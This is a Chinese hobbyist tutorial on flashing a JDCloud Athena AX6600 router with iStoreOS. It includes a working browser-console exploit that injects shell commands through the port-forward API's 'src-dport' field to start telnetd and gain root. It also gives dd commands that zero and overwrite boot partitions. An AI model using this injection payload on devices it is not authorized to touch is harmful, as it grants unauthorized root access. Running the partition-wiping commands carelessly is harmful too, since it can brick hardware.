
⚠️ 免责声明:刷机有风险!本文仅为个人折腾记录,只适用于老版本矿机,新版固件大概率已经封堵该漏洞;刷机后失去官方保修,操作失误会变砖,需要9008救砖;所有命令、固件自行校验MD5,出问题自行承担。
之前看网上大部分雅典娜AX6600刷机教程都是拆机短接、TTL或者9008,拆机实在麻烦,主板上的触点很小,不用放大镜根本看不清。这次找到了mesetop大神的免拆开启Telnet方案,不用拆机、不用USB双公头,直接浏览器漏洞开Telnet,给手里这台闲鱼收来的矿渣雅典娜刷上iStoreOS,记录一下完整踩坑流程,给后面折腾的朋友做参考。
前置说明
机型:京东云雅典娜 AX6600(RE-CS-02,IPQ6018,eMMC版本) 方案:浏览器JS漏洞免拆开启Telnet → 备份关键分区 → 刷第三方U-Boot → U-Boot网页刷分区表GPT → 刷iStoreOS固件 适合:闲鱼流通的老版本矿机;新版原厂固件大概率已经封堵漏洞,不要尝试
一、准备工作
- 电脑用网线直连路由器LAN口,不要走WiFi;
- 路由器通电,初始化,设置WiFi密码(这个密码就是后台登录密码,后面Telnet也用它,建议简单好记,例如
12345678,务必记牢); - 电脑网卡IP保持自动获取,浏览器打开路由后台:
192.168.68.1或者jdcloudwifi.com,登录后台,页面保持不动; - 提前准备好文件:
- 第三方U-Boot:chenxin527 编译的 ipq60xx emmc uboot 下载地址:https://github.com/chenxin527/uboot-ipq60xx-emmc-build/releases 本次使用文件:
emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.binMD5:0c74af00d882d462f43fe10bf9e0aaf - 分区表文件包:lgs2007m 教程配套文件 下载:https://github.com/lgs2007m/Actions-OpenWrt/releases/tag/Router-Flashing-Files 文件:
JDCloud-AX1800-Pro_AX6600-Athena_Tutorial-Files.7z - iStoreOS固件:ZqinKing 编译版本 地址:https://github.com/ZqinKing/wrt_release/releases
- 第三方U-Boot:chenxin527 编译的 ipq60xx emmc uboot 下载地址:https://github.com/chenxin527/uboot-ipq60xx-emmc-build/releases 本次使用文件:
二、浏览器控制台开启 Telnet(重点)
- 停留在路由后台页面,按下F12打开开发者工具,切换到
Console(控制台); - 浏览器默认禁止直接粘贴代码,先输入:
allow pasting
回车,解除粘贴限制;
- 粘贴下面这段代码,回车执行:
(async () => {
const session = document.cookie.split('; ').find(r => r.startsWith('sessionid='))?.split('=')[1];
if (!session) {
console.error('未登录,请先登录京东云路由器后台');
return;
}
const exec = async (cmd) => {
await fetch('/jdcapi', {
method: 'POST',
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'call', params: [session, 'jdcapi.static', 'set_port_forward', {'on-off': 1, name: 't1', proto: 'TCP', 'src-dport': `1234;\`${cmd}\``, ipaddr: '192.168.1.100', 'dest-port': '80', edit: 1}] })
});
};
try {
await exec('factory_hm info telnet 1');
await exec('telnetd');
console.log('Telnet 已开启,连接地址:路由后台ip地址 账号root 密码:后台管理密码');
} catch (e) {
console.error('开启失败', e);
}
})();
- 等待执行,控制台输出
Telnet 已开启即为成功;
坑点说明:控制台出现红色报错叉号不一定代表失败,很多时候Telnet已经正常拉起;如果连不上,刷新后台页面,重新登录、重新跑一遍脚本。
- Windows开启Telnet客户端:控制面板 → 程序 → 启用或关闭Windows功能,勾选Telnet客户端;
- CMD输入连接命令:
telnet 192.168.68.1
- 用户名:
root - 密码:后台管理密码(输入的时候屏幕不回显,属于正常现象)
看到 JDCLOUD 字符画,root@JDBox_Athena:~# 提示符,代表成功拿到root权限!
这里踩了一个大坑:这个脚本只启动了Telnet,没有启动Dropbear SSH! 原厂R4533固件精简删掉了SSH程序,所以 MobaXterm、Ubuntu ssh 命令直接连22端口是连不上的,不要反复试SSH,文件传输、备份都在Telnet里操作。
三、备份核心分区(重中之重,不要跳过!)
雅典娜eMMC一共27个分区,下面三个是命脉,尤其是ART无线校准分区,丢了无线直接异常:
- mmcblk0p13:Appsbl / U-Boot 引导
- mmcblk0p17:Config(SN、MAC信息)
- mmcblk0p18:Factory / ART 无线校准数据
路由器自带大分区 /mnt/mmcblk0p27,空间充足,我们直接在这里备份:
# 进入大容量分区,创建备份目录
cd /mnt/mmcblk0p27
mkdir backup
cd backup
# 依次备份核心分区
dd if=/dev/mmcblk0p13 of=u-boot.bin
dd if=/dev/mmcblk0p17 of=config.bin
dd if=/dev/mmcblk0p18 of=art.bin
# 可选备份:内核、rootfs,方便以后完整恢复原厂
dd if=/dev/mmcblk0p19 of=kernel.bin
dd if=/dev/mmcblk0p20 of=rootfs.bin
备份完成后,把备份文件软链接到web目录,浏览器直接下载到电脑:
ln -s /mnt/mmcblk0p27/backup /www/backup
电脑浏览器依次访问,保存文件到安全位置,多存一份:
http://192.168.68.1/backup/u-boot.bin
http://192.168.68.1/backup/config.bin
http://192.168.68.1/backup/art.bin
四、刷入第三方U-Boot
两种传文件方式:U盘拷贝到路由器USB,或者电脑开TFTP服务器(我用的TFTP) 电脑TFTP服务器IP设置为 192.168.68.11,把uboot文件放到TFTP根目录。
Telnet内执行:
cd /tmp/
# tftp拉取uboot文件
tftp -gr emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.bin 192.168.68.11
# 校验MD5,必须和上面给的值一致!不一致绝对不要刷!
md5sum /tmp/emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.bin
# 清空原有引导分区
dd if=/dev/zero of=/dev/mmcblk0p2
dd if=/dev/zero of=/dev/mmcblk0p3
# 写入uboot到p13、p14
dd if=/tmp/emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.bin of=/dev/mmcblk0p13
dd if=/tmp/emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.bin of=/dev/mmcblk0p14
sync
五、进入U-Boot网页,刷分区表+固件
- 拔掉电源,按住Reset不放,通电;
- 等待指示灯红灯闪烁,转为蓝灯,松开Reset,进入U-Boot模式;
- 电脑网卡手动设置静态IP:
192.168.1.2,掩码255.255.255.0; - 浏览器访问
http://192.168.1.1,进入U-Boot刷机页面; - 优先刷GPT分区文件:不刷这个大分区,无法刷入60M以上的固件;分区文件在前面下载的
Tutorial-Files.7z里面; - 分区刷完,再上传iStoreOS固件,等待刷写完成、自动重启。
重启后就是iStoreOS后台,就可以正常装插件、Docker了。
六、相关参考帖子&仓库
- 免拆开Telnet原帖(mesetop大神):https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=8461568
- 本次参考刷机帖:https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=8464665
- lgs2007m 完整教程&救砖资料:https://github.com/lgs2007m/Actions-OpenWrt/blob/main/Tutorial/JDCloud-AX1800-Pro_AX6600-Athena.md
- U-Boot编译仓库:https://github.com/chenxin527/uboot-ipq60xx-emmc-build/releases
- iStoreOS固件发布帖:https://www.right.com.cn/forum/thread-8378390-1-1.html
- 补充参考:https://www.right.com.cn/forum/thread-8462671-1-1.html
七、踩坑总结
- 漏洞不是全版本通杀,新版京东云固件大概率封了,不要硬刷;
- SSH连不上是正常现象,原厂没有dropbear,不要浪费时间排查SSH;
- MD5校验是生命线,文件传输出错直接变砖;
- ART分区备份千万不要漏,无线校准数据独一无二;
- U-Boot刷完必须成功进入蓝灯U-Boot页面,后续刷固件才有退路;
- 全程供电稳定,刷机中途断电=大概率变砖,备好9008救砖方案。